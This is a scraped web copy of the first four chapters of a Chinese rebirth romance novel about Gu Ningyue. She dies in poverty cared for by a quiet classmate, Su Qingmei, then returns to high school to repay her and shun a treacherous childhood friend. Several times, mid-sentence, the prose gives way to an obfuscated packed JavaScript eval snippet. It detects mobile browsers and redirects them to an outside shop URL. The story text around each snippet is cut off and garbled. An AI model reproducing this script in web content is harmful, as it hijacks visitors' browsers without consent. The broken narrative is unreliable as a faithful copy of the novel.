《她怎么会喜欢我[重生]》 1. 第 1 章 “七号床,叫什么名字。” “顾……宁越。” “看下手腕带。” 初冬经历过一场冷雨,窗户凝结出一层白雾,虽然病房里开着空调,但制热效果不好,伸出手袖子滑落时,露出的皮肤也会感到寒冷。 说话都费劲的顾宁越虚弱地放下手臂,护士核对腕带信息后扫码,为她清理头部的纱布。 “顾宁越,现在床位特别紧张,今天会暂时把你转移到普通病房区过道,希望你能理解。” 顾宁越垂着眼皮沉默地呼吸,她不想说话,因为让声带振动真的很累。 理解。 不理解又能怎样呢。 让她这个欠了医疗费的老赖霸占其他正常缴费患者的病房吗。 顾宁越点一下头表示她知道了。 护士收拾好护理托盘,迟疑片刻,说:“大降温了,你家……你还有熟人能给你送点保暖用品来吗?” 顾宁越摇头。 护士叹了口气,转身离开病房。 顾宁越望着天花板,旁边的床位传来压低的聊天声。 突然,邻床病人家的小孩跑过来大声问:“阿姨,你以前真的是大老板吗?你女朋友把你的钱骗完跟人跑啦?为啥这么多天都没人来看你,你是不是没有妈妈?” “你这孩子别瞎说胡话!”一个中年妇人急忙拉走小孩,转向顾宁越,“孩子不懂事,瞎说的,你别在意。” 顾宁越长长地呼出一口气,闭上眼睛。 她实在没有力气应付这些破事。 好冷。 顾宁越把手指蜷进袖口,鼻腔里充斥着一股消毒水和邻床剩菜的混合怪味。 她皱眉,把头稍微转向另一边。 墙上的挂钟显示中午一点过,等会医院的护工忙完了,应该会过来给她带点午饭吧。也可能是晚上再来。 邻床很热闹,几个家人陪着,有刷短剧的,有打游戏的,有嗑瓜子的。 顾宁越早已习惯病房里的各种声响,她除了听这些声音,或者看看偶尔飞过窗外的小鸟,再没有什么可做的。 有人进进出出,杂乱的声音时而增强,时而减弱。 一串脚步声走近,顾宁越以为是护工,她抬起头,是两名护士没见过的护士。 核对好顾宁越的身份信息,护士搀扶她坐上轮椅,顾宁越明白这是来带她转移去过道的。 护士戴着笑脸怀表,微笑着对顾宁越说:“您好,我们要换床位了哦。” 顾宁越有点吃惊,自她苏醒以来还没有被这样温柔地对待过,该不会是临终关怀吧。 顾宁越点头,护士推动轮椅向前,穿过房门,穿过长长的走廊,进入电梯…… 两栋住院楼之间有观景连廊。 轮椅从连廊经过,白色的日光从两侧落地窗照进来,洒在顾宁越凹陷的脸颊。 顾宁越目光困惑,不是转移到过道吗?这里已经不属于普通病房区域。 这是哪? 轮椅缓慢停下,护士推开一扇原木色的房门,顾宁越匆忙地看向上方的门牌:svip花园疗养套房(1)。 高级病房?怎么可能! 顾宁越惊讶又疑惑,她没有申请过高级病房,而且她几乎身无分文,还倒欠医院一大笔icu费用,怎么可能被送到这里? “我没……没换病房……”顾宁越和护士沟通,但护士并没觉得有任何不妥,再次跟顾宁越确认身份信息,扶她躺上舒适洁净的护理床。 另一名护士给顾宁越盖上毛毯:“顾女士,您的高中同学来探望您,已经为您缴清了所有费用,是她帮你转到这边。” “同学?咳咳……哪个同学?我没见到她。” “她只说是您的高中同学,稍后会来看您。”护士调整护理床高度,“顾女士,这个高度可以吗?” 顾宁越点头。 顾宁越在心里把高中几个关系不错的同学名字都过了一遍,但都很久没有联系了,当初她找他们借钱就没了回音,断了往来。 她想不出是谁会在她这般落魄的时候伸出援手,而且出手还这么阔绰,要知道,她欠下的医疗费不是一笔小数目,这间高级病房的住院费也十分昂贵。 房间里是明亮的暖色调,透过大片的落地窗能望见外面的公园,几树红梅傲然绽放。 顾宁盯着墙上的挂画发呆。 房里很暖和,也很安静,和十分钟前冰凉嘈杂的病房截然不同,仿佛两个世界。 咚咚。 两声敲门音。 顾宁越看过去。 啪嗒,门缓缓打开,修长的手指从门把手滑落。 顾宁越的视线循着那只纤细的手向上看,一个清瘦的女人悄声走进房间,她褪下白色的羊绒大衣,里面穿着黑色毛衣和杏色长裤,乌黑的长发柔柔的垂在胸前。 顾宁越张了张嘴:“你是……” 女人抬起头,白皙的鹅蛋脸,眉如青山,眸如湖泊,眼中的情绪像是林中的岚烟,轻盈,潮湿,不可捉摸。 顾宁越看得一怔,很快回过神,继续道:“是你帮我转病房?咳咳——” 女人赶忙拿吸管杯喂顾宁越喝水,然后对她点了点头。 顾宁越顺着气,胸脯大幅度的起伏:“谢谢你。你,你以前也……是……五班?” 女人没说话,只微微点头,然后走到一边,打开茶几上的购物袋,拿出里面的物品仔细整理。 顾宁越有很多问题想问她,可是这个女人看起来并不想和她交流。 她回忆了一遍又一遍,始终记不起高中三年认识这样一个人。 女人把一束鲜花放进水瓶,剥开一颗大柚子摆上果盘,还在马卡龙盘里放了一把棕色包装的糖。 顾宁越认出来,是焦香牛奶味的阿尔卑斯。 可惜她现在的状态吃不了水果和糖,只能吃流食和软烂的饭菜。 房间里顿时弥漫开清新的柚子香气。 顾宁越很喜欢柚子的味道,她以前经常吃掉柚子,把柚皮留下来,放到办公桌上或者车里,只要闻到柚子香,她的心情就会不自觉地放松。 她很感谢她带来的水果是柚子,而不是常见的橘子苹果。 很少有人探病带柚子吧,这也算是歪打正着了。 “谢谢。”顾宁越又对女人说了一句。 女人坐在护理床边看了她一会,至始至终没有说过一句话。 顾宁越不明白她为什么不说话,想了想,也许她有失音症?还是别多问,万一冒犯到对方就不好了。 女人就这样静默地守候了顾宁越许久。 顾宁越不知道是不是自己太累,产生了错觉,她好像看到女人清澈的眼睛里闪烁出泪光。 女人蹙眉咬着下唇,一只手把床单用力攥出了深深的褶皱。 她好像她在心疼她,又好像在暗自悔恨着什么。 顾宁越不明所以地看着女人,不明白她为什么会这样难过,她们只是做过同学而已。 “谢谢。”顾宁越只能一遍遍表达内心的感激,抱歉地告诉女人,“我可能……还不了你。” 她每说一遍谢谢,女人的眼眶就更湿润一分。 女人含着泪水不停地对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988982|193676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾宁越摇头,最后抽泣一声,捂住脸走出房门。 女人刚一出门,等在门外的医生和护士叫她:“苏总。” 女人做了个噤声的动作,沙着嗓子小声说:“请告诉我她的病情,越详细越好。” 医生脸色凝重:“不容乐观……” 女人轻轻关上门。 顾宁越诧异地望着门的方向。 苏总? 她姓苏? 原来她能说话。 她的声音很好听。 顾宁越闻着清淡的柚香,短暂地忘记了手术后的疼痛。 傍晚,窗外天色黯淡。 女人来了,她在床头柜上安置了一台投影夜灯,能在墙面投出各式各样的风景。 真的好巧,都是顾宁越喜欢的景色。 在相处的时间里,女人总是回避和顾宁越交谈。 顾宁越问过她的名字,她不愿说。 很奇怪。 但顾宁越能理解,如果是自己掏心掏肝地救治一个老同学,可对方居然完全不记得自己,那她也会生气,也会伤心,或许也不想告诉对方自己的名字。 又或者,当报出姓名以后,对方一片茫然。 得知自己在对方心中毫无痕迹,是一种更加锐利的刺痛。 女人请来了一位专业护理师,并跟着护理师学习怎么帮病人翻身,搀扶病人方便,为病人擦洗四肢。 每天早晨和傍晚,女人都会来给顾宁越喂餐,所有餐食都是精心设计过的康复软食,女人用手背试过温度,再用勺子盛起慢慢喂给她。 女人周一到周五会在早晨六点半和傍晚七点半过来,而周末的晚上会来得更早,所以顾宁越推测她是在每天上班前和下班后来探病。 顾宁越定好了闹钟,会在早晨六点二十九分的时候露出笑容,朝着房门打招呼。 “苏。” 苏似乎很爱哭。 顾宁越这样认为。 因为苏第一次来病房见她时落了泪,听到她叫她“苏”的时候又潸然而下。 苏可能以为她记起了她吧。 怎么会有人仅仅因为别人记起了她就激动得流泪呢。 可是很抱歉。 不论顾宁越怎样努力地回忆过去,把高中三年的记忆翻来覆去地倒了个遍,都找不到“苏”的影子。 对不起。 对不起。 对不起…… 如果,有来生。 …… …… 夜很黑。 厚重的云遮挡了所有的月光。 拥有鲜花和柚子的房间里却很明亮。 可惜再亮的光也无法让病床上的人睁开双眼。 明明房里的空气很温暖,很温暖,但是顾宁越觉得好冷,好冷。 脑袋钻开过的地方很痛,喉咙像被利爪扼住了一样,无法吸取氧气,心脏难受得要炸开。 “医生,救救她!求求你们救她!要花多少钱都可以,求你们了!救她……” 原本安静的房间忽然变得很吵闹,脚步声,仪器声,还有很多医生和护士的话音。 渐渐的,顾宁越感觉周围又重归宁静。 也不吵了,也不冷了。 一切变得很轻松。 黑暗之中,顾宁越感到有人颤抖地握住了她冰冷的手,好暖和。 苏,谢谢你。 如果有来生,顾宁越一定倾尽一世报答这份恩情。 清新的香气飘进鼻子里。 是苏剥的柚子。 顾宁越扬起嘴角,闻着柚香陷入长眠。 2. 第 2 章 迷蒙中闪过一段欢快的音乐。 有什么在推动她的手臂。 “起……啦。” 顾宁越的各种感官被逐渐唤醒,耳边的人声愈发清晰。 “阿越,醒醒,快点起来啦,班会马上就开始了,你不是要主持活动吗?” 手臂又被推了一下。 顾宁越感到一股久违的力量重回躯体,她睁开双眼,光线争先恐后地涌入视野,这一刻,她仿佛溺水者冲破水面,周遭的一切都从模糊变得真切。 头顶灯光明亮,昏黄的夕阳斜照黑板,多媒体幕布亮着经典的win7草原壁纸,教室外的走廊再次传来欢快的铃声。 顾宁越下意识看向玻璃窗中的自己,双眼皮大眼睛,嘴唇红润,长发茂密,非常健康的年少模样。 顾宁越立即明白了现状——她重生了。 “你快上去吧,不然等会学生会检查班会的来了,看到没人组织,要扣我们班的分。”身边的同学催促。 顾宁越看向同桌,少女的五官精致,一双灵动的小鹿眼配上卧蚕尤为伶俐,校规禁止学生化妆打扮,但她做了低调的编发,还会用素颜霜和裸色唇膏,每天起早床把刘海和碎发吹出时下最流行的空气感,天生靓丽又时尚潮流,家世学习都不错,让她成为学校里最受欢迎的女生之一。 顾宁越的心脏剧烈跳动,她呼吸加速,死死地瞪住女孩,手背上蹦起青筋,猛地揪住同桌的校服衣领。 “崔屿茉!” 三个字从顾宁越紧咬的牙槽里挤出,她的嗓音低沉喑哑,像是地底里翻滚的岩浆,随时都可能喷涌爆发。 想杀一个人的眼神是藏不住的。 这个瞬间,顾宁越狰狞的面孔仿佛地府里索命的阎王。 没错,顾宁越就是想索了崔屿茉的命。 她和崔屿茉两家交好,青梅青梅,从小到大顾宁越什么都捧着她,为了博得崔屿茉的欢心,顾宁越上辈子像条狗一样围着她团团转。顾宁越为爱情放弃自己的梦想,为实现崔屿茉的明星梦不断砸钱,最后把整个顾氏的老本都赔光了,四处借贷,好不容易得到一个竞标机会,没想到中标的是顾氏的劲敌,用的还是顾宁越呕心沥血做的方案。 顾宁越永远都忘不了竞标失败的那一天。 她背着剽窃商业机密的骂名回到家里,迎接她的不是爱人的怀抱,而是一片狼藉,崔屿茉不但卷走了公司仅剩的周转资金,连家里的首饰都不放过,和泄露的竞标方案书一样,全部成了崔屿茉嫁入豪门的嫁妆。 十多年的情谊难道如此不堪一击? 顾宁越找崔屿茉想要一个解释,可她得到的回答没有一丝羞愧,只有厌弃,崔屿茉鄙夷地质问她:顾宁越,你那点钱打发叫花子呢?要不是你这么没用,在影视圈里一点资源都没有,我至于到了三十岁还演不了一次正剧主角吗! 十多年的情谊还真就如此不堪一击。 无微不至的深情换来背叛。 倾尽所有的支持换来负债。 上辈子躺在病床上的最后时光里,顾宁越没有一天不想找这个恶毒的女人报仇。 没想到重生后,顾宁越见到的第一个人就是她前世最想报复的崔屿茉。 十七岁的崔屿茉从没见过顾宁越这样可怕的表情,她所熟知的顾宁越从来都是温声细语的,每天给她带热腾腾的早饭,温柔地问她冷不冷给她贴暖宝宝,还会冒着被门卫捉住的风险为她到校门口买奶茶。 崔屿茉害怕地看着顾宁越,表情委屈:“你干嘛啊顾宁越,上课铃都响了,我又不是故意吵醒你的,你说你专门跟老郑申请了今天主持班会,我担心学生会检查到我们班扣分,好心提醒你,你为什么凶我。” 说着说着,崔屿茉的眼圈都红了。 周围的同学都看过来,不解地问:“顾,你咋了啊?拽茉茉的衣领干啥?” 前后桌都和崔屿茉的关系很好,自然偏向这个好朋友:“顾宁越,你没事儿吧?敢对茉茉发起床气,小心到时候茉茉不理你,你哭都来不及。” 这群十来岁孩子的声音拉回了顾宁越的理智。 她重生了,现在她和崔屿茉都只是高中生。 这个时候她上辈子经历的所有痛苦还没发生,一切都还来得及。 这辈子,她定要一雪前耻,痛快明白地重活一遍。 顾宁越做了几个深呼吸,尽力让情绪平息下来。 她松开崔屿茉的衣领,目光扫视桌面,把桌上的东西装进书包,她当下最想做的事就是从崔屿茉身边搬走。 关于这个座位顾宁越还有印象,一想到当初是自己软磨硬泡求班主任把崔屿茉和她调成同桌的,顾宁越就想狠狠地扇自己两巴掌。 顾宁越把两本课本塞进书包,多媒体忽然播放出生日歌,黑板的投影幕上现出一张生日蛋糕的图片,几个艺术字旋转跳动: 高二(5)班全体同学祝崔屿茉生日快乐!!! 一个女生走上讲台,宣布:“下面,有请顾宁越为我们最美的茉茉主持生日会!大家鼓掌!” “哇噢~~~”教室里响起热烈的掌声,欢呼声此起彼伏。 所有人的视线都聚焦在顾宁越身上,崔屿茉更是露出得意的笑容,朝她投去期待的目光。 顾宁越扯动嘴角。 既然大家都这么期待,那就给大家一个惊喜吧。 顾宁越在众人的注视中走上讲台,讲桌上放满了许多礼盒,班里很多同学都为崔屿茉准备了礼物。 顾宁越记得自己送的是生日蛋糕。 她打开蛋糕盒,把装饰满奶油和水果的生日蛋糕举起来,面向台下的同学们:“你们看,这个蛋糕好看吗?” 奶油的甜味扩散到教室里的每一个角落。 有些嘴馋的兴奋地叫道:“好看,这一看就好吃。” “好看对吧。” 顾宁越端着蛋糕从讲台走下来,一步步向前。 在她经过崔屿茉座位的时候,教室里响起口哨声。 大家都以为顾宁越要把蛋糕送给崔屿茉,但是顾宁越穿过走道,停在教室后面小阳台的门口,噗通一声,当着所有人的面把生日蛋糕丢进了垃圾桶。 顾宁越拍掉手里的糖霜粉末,微笑:“现在它不好看了。” 全场鸦雀无声,同学们的脸上都写满了震惊,崔屿茉的脸色更是发黑。 顾宁越到教室后面走了一遭,发现最后一排靠近阳台门的位置还有一个空座位,这里吹冷风,还能闻到阳台上时有时无的垃圾桶臭味,没人愿意坐,但顾宁越无所谓,只要能远离崔屿茉,这就是最好的座位。 顾宁越提起书包搬到阳台门外的空座,拿出纸巾想抹掉桌椅上的灰尘,却发现这套没人坐的桌椅很干净,应该是有人每天都在打扫。 “顾宁越,你闹什么?” 崔屿茉腾地站起身,眼里蕴藏怒意。太过分了,顾宁越竟敢这样羞辱她!先是揪住她的衣领发脾气,又当着那么多同学的面扔她的生日蛋糕,还不跟她商量就从她身边搬去别的座位,知道有多少人想和她做同桌么? 中午吃饭的时候顾宁越还把碗里的肉都夹给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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如果静下心来仔细回忆,顾宁越仿佛还能听到苏给她喂餐时汤匙触碰瓷碗的轻响,仿佛还能闻到苏给她剥开柚子的清香,仿佛还能感受到苏为她轻柔擦拭脚踝时的温度…… 女生避开顾宁越直白的视线,埋下头,让整张脸躲进干枯的齐耳短发里。 她紧张地拉开椅子坐下,翻出一张试题卷,安静地算题。 顾宁越伸长脖子,偷瞄新同桌的卷子。 姓名:苏晴眉 班级:高二(5)班 学号:49 顾宁越抹干湿润的眼角,跟新同桌打招呼:“你好,我叫顾宁越,我可以和你做同桌吗?” 苏晴眉的笔尖一顿,长长的刘海遮住前额,看不见她的眼睛。 少顷,她重重地点了一下头,额前的刘海随着她的动作轻轻颤抖。 众人注意到她们,纷纷转过头来。 顾宁越无视全班诧异的目光,对瘦小的她露出明媚的笑容:“你姓苏?” 苏晴眉微微抬起脸,眼底闪过一丝疑惑,很快又把脸埋下去,点一点头。 顾宁越眸色温和,用只有自己听得见的声音喃喃:“苏,谢谢你。” 这样的明知故问对顾宁越来说并非多此一举,而是一种充满仪式感的确认。 确认这是苏。 是那个延续了她生命长度的,最善良的,最美好的苏。 顾宁越决定兑现上辈子的誓言。 ——如果有来生,顾宁越一定倾尽一世报答这份恩情。 这辈子,她将用一生偿还苏晴眉。 3. 第 3 章 今天是周五,班会结束,劳动会员组织大扫除后就放周末了。 顾宁越终于有时间梳理重生后的信息。 现在是xx11年9月2日,高二刚开学不久,课本和练习册都是崭新的,还有几张上学期期末考试的卷子,顾宁越的分数不高也不低,属于中不溜。 顾宁越大概浏览了课本,不禁皱眉,这些高中知识她早就忘得差不多了,想要达到一个正常高中生的水平,得在空余时间把前面的都补上。 顾宁越找了笔袋和书包,没看见课程表,望见黑板右边贴了一张,打算去抄一份。 她的座位靠窗,不方便进出,旁边的苏晴眉还没走,顾宁越轻声对她说:“苏晴眉,我过一下,谢谢。” 苏晴眉立马往右挪椅子,顺带把桌上的书和笔都往右挪,中间和顾宁越空出一段距离。 顾宁越抄完课程表,回来发现苏晴眉坐在课桌的最右边,中间和她隔了很远,像是“三八线”。 “……” 顾宁越心里有点打鼓,苏晴眉这是什么意思?难道是她有什么举动冒犯了?按照上辈子的经历来看,苏晴眉不应该讨厌她啊…… 不过有一点苏晴眉是从高中到工作都没变,那就是惜字如金,不爱说话。 教室里的人都走得差不多了,顾宁越转身,看到她的新同桌还趴在课桌上写卷子。 只剩下她们两个人。 顾宁越推开桌上的书,也趴到桌上,自言自语似的:“有点饿。” 她转头看着身旁奋笔疾书的女孩:“苏晴眉,我们去吃饭吧。” 苏晴眉又写了两个算式才停下笔,转头看向她,但是垂着眸子不敢抬眉:“你先去吃吧,我待会再去。” 这是顾宁越重生以后,苏晴眉对她说的第一句话。 顾宁越察觉到苏晴眉的情绪非常紧张,她很害怕与人交流,按照十几年后的说法是“i人”,“社恐”。 既然如此,就尽量以对方能接受的方式交流,顾宁越说:“我先收拾书包。” 她不知道老师布置了哪些作业,收拾得很慢,这不能怪她上课不认真,因为她刚重生过来。 顾宁越把计划周末补的书都装好,翻开笔记本:“苏晴眉,你能告诉我周末都有哪些作业吗?” 苏晴眉刚好写完卷子:“嗯,我写给你。” “谢谢。” 苏晴眉写好有哪些作业,把顾宁越的笔记本还给她,目光在她课桌上一本厚厚的教辅资料上停留了几秒,然后低下头,拿出英语练习册做完形填空。 那本教辅是顾巍给顾宁越买的,老妈总是爱给她买一堆书,根本看不完。 顾宁越心中了然,原来苏晴眉喜欢教辅资料。她上辈子在商界摸爬滚打多年,这点眼力还是有的。 以前顾宁越觉得学霸也讨厌学习,只是他们脑子好用所以学习好,现在顾宁越算是服气了,有人是真把学习当成爱好。 比如苏晴眉。 不过苏晴眉的成绩应该不太好,不然顾宁越不可能上辈子对她没记忆,学生时代班里成绩最好的几个名字总是有印象的。 这么爱学习的人为什么成绩上不去呢?未来的苏晴眉那么成功,说明她很聪明,也很有能力,再加上刻苦用功,不该成绩不好才对,一定有其它原因。 顾宁越的余光落到苏晴眉的补丁布包上,她忽然发现苏晴眉没有文具袋,从班会到现在,苏晴眉都做完一张卷子了,顾宁越只见过她用一支最老款的透明签字笔,一根刀削的铅笔,还有一把满是划痕的塑料尺子。 顾宁越知道原因了。 苏晴眉的家庭条件无法给她助力,反而是她的拖累。 苏晴眉仿佛注意到身旁打量的目光,她不自然地往右挪,用头发挡住脸庞,把注意力放在习题上。 顾宁越急忙收回视线,翻开教辅资料,在前几页学过的章节随便圈了几道题,给苏晴眉看:“你能帮我个忙吗?这些题我不会,我不好意思问老师,你如果周末有空的话可不可以看看这些题,下周来给我讲?” 苏晴眉凑近书看:“你周末不用这本书吗?” “我做作业都够头痛了,暂时用不着。” “那……好,下周一给你。”苏晴眉小心翼翼地把教辅资料收进抽屉,眼里闪出小小的亮光。 顾宁越见到苏晴眉如获至宝的样子,心情也变得愉快:“周二周三都可以,谢谢你啊,晴眉。” 顾宁越本想邀请苏晴眉到后校门街吃过晚饭再回家,但是苏晴眉再三婉拒,顾宁越不好勉强,毕竟她们还不熟悉,来日方长嘛。 顾宁越背着书包走过操场,仰望黄昏的天空,紫红橙黄的晚霞飘在教学楼和科技楼上方,四周响着篮球和羽毛球的运动声,顾宁越不禁感慨万千,想不到还能再次见到这十多年前的景色。 也想不到还能再回到她出生成长的家。 这个时候妈妈还健康精神地活着,宠她,爱她,恨不得把天上的星星月亮都摘下来给她。 一想到这,顾宁越的眼眶不由得泛红,这辈子她一定要保护好妈妈,不再让她担心,不再让她遭受渣男的欺骗…… 顾宁越凭着记忆走到后校门,外面五花八门的小吃把她看得眼花缭乱,炸土豆烤面筋麻辣拌,肉夹馍手抓饼小笼包,顾宁越从校服兜里摸出零钱,买了一根烤肠,热气腾腾的香味勾人馋虫,她迫不及待地咬一口,烫到上牙膛,疼得直吸气。 “顾宁越!” 愠怒的叫声虽不大,但顾宁越在喧闹的人群中听得很清楚,无他,上辈子听得太多了,这个音色一出现,顾宁越就能认出是崔屿茉。 顾宁越加快脚步往前走,崔屿茉从避风塘跑出来,追上她:“顾宁越,班会的事你不打算跟我解释吗?” 顾宁越越走越快,把她甩在后面:“解释什么。” “你为什么扔我的生日蛋糕?” “我买的想扔就扔。” 崔屿茉面红耳赤,累得直喘气:“你等等,走那么快干什么?你方向都反了,停车场在后面。” 停车场? 噢,对了,顾宁越才想起来,她高中都是顾巍的司机接送,崔屿茉家和她家住得近,早晚一起上下学。 一想到当初她觉得自己提出“和茉茉同乘一车”的主意实在是太妙了,顾宁越现在就气得失语。 顾宁越继续往大街走,那边有个公交站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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越靠近学校店铺越多,顾宁越往回走,观察街道两边有什么好吃的。 带着十几年后的眼光看2x11年的饭店和小吃,顾宁越觉得挺单调的,店面的装潢和设施也很陈旧,线上支付还没兴起,每张餐桌上都有菜单,没有线上点单和扫码支付。 在吃这方面,顾宁越很看重颜值,喜欢漂亮饭,也喜欢漂亮的餐具和环境。 前面路口有家支着上悬窗的店吸引了顾宁越的注意,店门口围了一圈白色的栅栏,里面种了很多绿植鲜花,从外观来看像是一家西餐厅或者咖啡厅。 顾宁越走过去,米白色的招牌上写着:小食光。 一家港式茶餐厅。 餐厅的橱窗上贴着可爱的卡通窗花,顾宁越从窗户外看进去,经典的格纹瓷砖和木头桌椅,柜台上面还挂着霓虹灯小招牌。 店里人不多,环境看着也干净,应该还不错。 顾宁越走进店门,头顶有串贝壳叮当响。 “欢迎光临,空位请随便坐,推荐猪扒饭和菠萝油。” 顾宁越惊讶地立在原地。 给她递菜单的居然是苏晴眉。 “你怎么在这?” “你……想吃什么?” 两人同时问出口,对上视线的瞬间,苏晴眉慌忙低下头,左手悄悄揉捏围裙的裙摆,想把冒出围裙口袋的单词本藏进去。 顾宁越看看菜单,再看苏晴眉,开合唇瓣:“我……” 4. 第 4 章 苏晴眉神情专注地听顾宁越点单。 “我看看……”顾宁越看了两遍菜单,指着饮品区说,“我要一份你推荐的猪扒饭和菠萝油,还要一杯咸柠七。” “好的,请稍等。” 苏晴眉点好单去后厨传菜,顾宁越选了个离柜台最近的位子,她好奇地打量柜台上的摆件和手绘菜海报,摸了摸不停摇晃爪子的招财猫。 “菠萝油和咸柠七,猪扒饭还要等几分钟。” 顾宁越连忙收回手,端正地坐好,苏晴眉端着托盘上菜,顾宁越小声问她:“你在这里兼职?” 苏晴眉把餐巾纸放到她面前,小声回应:“嗯,周末和节假日过来。” “噢,你要忙兼职啊,难怪不跟我吃晚饭。” “抱歉……”苏晴眉低下头,“请慢用。” 顾宁越赶紧叫住她:“你呢?你吃过了吗?” “我有工作餐。”说完,苏晴眉一溜烟跑去收拾其它桌的餐盘。 顾宁越饿了,很快吃掉菠萝油,喝了几口咸柠七,味道中规中矩,在这个年代的小城市能吃到比较正宗的私厨已经很不错了。 后厨响起铃声,苏晴眉进去端出来一盘猪扒饭,给顾宁越以后她就站到柜台后面背单词。 顾宁越边吃饭边跟苏晴眉聊天:“你要工作到几点?” 苏晴眉左右看看,没有顾客注意她们,苏晴眉才压着声音说:“晚上八点。” “你下班回宿舍吗?” “嗯。” 顾宁越看她警惕的样子像高原上侦察的小鼠兔,既要照看店里,又要偷偷背单词,还要不时回几句话,好辛苦。 顾宁越不再打扰苏晴眉,专心吃饭,她拿出手机看新闻,直奔时政经济板块,她拥有往后十几年的记忆,现在可是有很多机会能抓住时代的风口。 店门口的贝壳风铃响了几次,有新的顾客进出,顾宁越看新闻看得认真,连有人坐到了她后面的餐位都不知道。 “喂,老板呢?怎么做生意的?” 暴躁的叫声打破了小店的宁静。 苏晴眉赶忙上前:“你好先生,请问有什么问题吗?” 男人叼着牙签咂嘴,重重地敲桌子:“你们的丝袜奶茶不正宗,难喝得要死,居然敢卖十二块一杯,抢钱啊!” 苏晴眉跟他解释,语气不卑不亢:“先生,我们店的奶茶是用牛奶和茶叶现煮的,茶味偏浓,如果你觉得苦了我给你加糖——” “我让你说话了吗!” 苏晴眉退后一步。 男人胀红了脸,挽起袖子:“老子问你们老板,把你老板叫来。” 苏晴眉黑白分明的眸子看着他,沉着冷静:“老板不在店里,你如果不喜欢奶茶,我们免费给你换一杯别的饮品。” 男人抓起奶茶杯用力摔到地上,奶茶液在地砖上飞溅,把苏晴眉的鞋子浇了个透。 “你算个屁!老子问你了吗!” 男人挽起袖子指苏晴眉的鼻子,顾宁越啪地把勺子拍在桌上,冲过去把苏晴眉拉到身后,对男人厉声喝道:“找茬是吧?来,往那骂,对着摄像头骂,十二块钱可以加糖可以换饮品的奶茶不喜欢,喜欢蹲局子交几千块的罚金是吧!” “你谁啊?小丫头片子找打——” “哎哎,小兄弟别激动,你这顿我把钱退给你,旁边就是派出所,闹大了大家脸上都不好看,你说是吧?” 男人正要闹事,后厨的厨师大姐急忙跑出来拉住他。 “哼,那你赶快把钱退给我。”男人听到退钱脸色好了不少,恶狠狠地瞪了顾宁越一眼,又说:“再给我换一杯鸳鸯奶茶,外带。” 厨师大姐立马照做,把他送出店门才松了口气。 “小姑娘,刚才的事谢谢你啊。”厨师大姐走过来,先跟顾宁越道谢,然后担忧地转向苏晴眉,“小苏,你没受伤吧?” 苏晴眉弯着腰擦鞋,仰起头对她笑了笑:“我没事,陶姐,谢谢你。” “遇到瘟神直接退钱算了,姑娘家要学会保护自己。”陶姐看她的鞋,“这都湿透了,你快回去洗洗,今晚我帮你请假。” 苏晴眉忙道:“没关系的陶姐,只湿了外面一点,我擦干净了,你去忙,我把这打扫干净。” 她的话音很坚定,好像一个农民要捍卫她的庄稼,一个士兵要坚守她的阵地。 陶姐眼神心疼,还想劝几句,但想到什么又没说,帮她拿了条毛巾就进厨房了。 顾宁越把书包里外翻了一遍,只找到一包湿巾纸,拿给苏晴眉。 苏晴眉用几张卫生纸铺在鞋上吸水,说了声谢谢,没有接湿纸巾。 顾宁越径直把湿巾塞进苏晴眉的围裙兜里:“拿着。” 苏晴眉默了默,看向顾宁越吃剩的餐具:“你吃好了吗?需不需要打包?” “不用。你的鞋……” “我没事,谢谢你帮我,当时很危险,你……不用为了我冒险……” 苏晴眉这么关心她,顾宁越心中一暖,她让苏晴眉放心:“我不怕,我会咏春。” 顾宁越上初中的时候顾巍担心她的安全,专门请桐溪咏春拳协会的会长教她武术防身,顾宁越从十三岁练到三十岁,教训普通的小混混绰绰有余。 苏晴眉拿来打包盒,把顾宁越剩下的猪扒装进去,用口袋封好,双手递给她:“这个你带回去吧。” 顾宁越接过来,还是很担心她的鞋又湿又脏穿着不舒服。她不懂苏晴眉为什么不回宿舍清洗,非要坚持工作,是因为不想请假吗,不想失去这一天的工钱…… 苏晴眉扫掉碎玻璃,拖干净地面,迎接新来的顾客。 顾宁越感到衣兜里的手机震动,打开看是顾巍问她到家没有,顾宁越回复她马上,提起打包袋跟苏晴眉说再见。 桐溪市是个四线城市,市区被一条大河分成两边,由两座大桥连接,西边是老城区,东边是新开发区。东区基础设施更先进,很多新潮品牌都在东区落地发展,东区的商圈也是全市最繁华的商业中心——“光悦”时尚购物中心就是顾巍投资建设的。 顾宁越的家住在东城区的临仙府别墅,离桐溪实验中学有四十分钟的车程。 顾宁越回到家,屋子里的一切熟悉又陌生。 上辈子自从顾巍和渣男结婚以后,顾宁越就搬出了这个家,她在江州定居,除了过年会给顾巍打一通电话,就和母亲没什么联系。 后来顾巍被渣男架空企业,转移私产,又查出宫颈癌,她瞒着顾宁越,不报忧,等顾宁越知道真相时顾巍已经时日不多,而顾宁越自己也深陷泥沼,无力回天。 顾宁越在玄关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾巍:“茉茉气哭了,崔叔叔说你扔了茉茉的生日蛋糕,问你为什么那样做,我说不知道,孩子朋友间的矛盾让孩子自己处理。” “谢谢妈妈。” “你大了,有自己的考虑,但你记住,遇到什么困难要及时告诉妈妈,好吗?” “好,我记住了。” 顾巍看到了她打包的猪扒:“你吃过了?吃饱了吗?光悦新开了一家海鲜自助,去尝尝?” “我吃饱了,妈妈,我陪你去吃,之后我想逛逛商场,买点东西。” 